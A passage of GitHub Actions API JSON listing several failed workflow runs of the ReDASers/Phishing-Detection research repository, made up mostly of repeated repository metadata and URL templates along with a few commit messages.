","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":277899888,"node_id":"MDExOldvcmtmbG93UnVuMjc3ODk5ODg4","head_branch":"integration_test","head_sha":"466e0fd35e82b0439854869975bb2f5cc71fd1ac","run_number":1017,"event":"push","status":"completed","conclusion":"failure","workflow_id":369237,"check_suite_id":1259222199,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUxMjU5MjIyMTk5","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/277899888","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/277899888","pull_requests":[],"created_at":"2020-09-29T04:54:38Z","updated_at":"2020-09-29T05:21:36Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/277899888/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/277899888/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/1259222199","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/277899888/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/277899888/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/277899888/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/369237","head_commit":{"id":"466e0fd35e82b0439854869975bb2f5cc71fd1ac","tree_id":"6dc255f5ca7954548231afc2300642e8c0856e9f","message":"working-directory option","timestamp":"2020-09-29T04:54:32Z","author":{"name":"zacker150","email":"zacker150@hotmail.com"},"committer":{"name":"zacker150","email":"zacker150@hotmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":277876021,"node_id":"MDExOldvcmtmbG93UnVuMjc3ODc2MDIx","head_branch":"integration_test","head_sha":"7d1195ba031e650523746f6200071fc83c343316","run_number":1013,"event":"push","status":"completed","conclusion":"failure","workflow_id":369237,"check_suite_id":1259158839,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUxMjU5MTU4ODM5","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/277876021","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/277876021","pull_requests":[],"created_at":"2020-09-29T04:28:03Z","updated_at":"2020-09-29T04:28:03Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/277876021/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/277876021/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/1259158839","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/277876021/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/277876021/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/277876021/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/369237","head_commit":{"id":"7d1195ba031e650523746f6200071fc83c343316","tree_id":"ab625d1a3f77f602030e09ddabae2dedaf222202","message":"Upload Generated config","timestamp":"2020-09-29T04:27:55Z","author":{"name":"zacker150","email":"zacker150@hotmail.com"},"committer":{"name":"zacker150","email":"zacker150@hotmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":277449290,"node_id":"MDExOldvcmtmbG93UnVuMjc3NDQ5Mjkw","head_branch":"vectorization","head_sha":"7575fd83d70c47fbf6d07cfef45175af75a5855b","run_number":999,"event":"push","status":"completed","conclusion":"failure","workflow_id":369237,"check_suite_id":1258052449,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUxMjU4MDUyNDQ5","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/277449290","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/277449290","pull_requests":[],"created_at":"2020-09-28T21:50:37Z","updated_at":"2020-09-28T22:05:23Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/277449290/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/277449290/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/1258052449","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/277449290/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/277449290/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/277449290/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/369237","head_commit":{"id":"7575fd83d70c47fbf6d07cfef45175af75a5855b","tree_id":"06eb3c537346c79610e86f93b25eff6d4ae9d92d","message":"Removed Features_Support.Vectorization_Training","timestamp":"2020-09-28T21:50:30Z","author":{"name":"zacker150","email":"zacker150@hotmail.com"},"committer":{"name":"zacker150","email":"zacker150@hotmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReD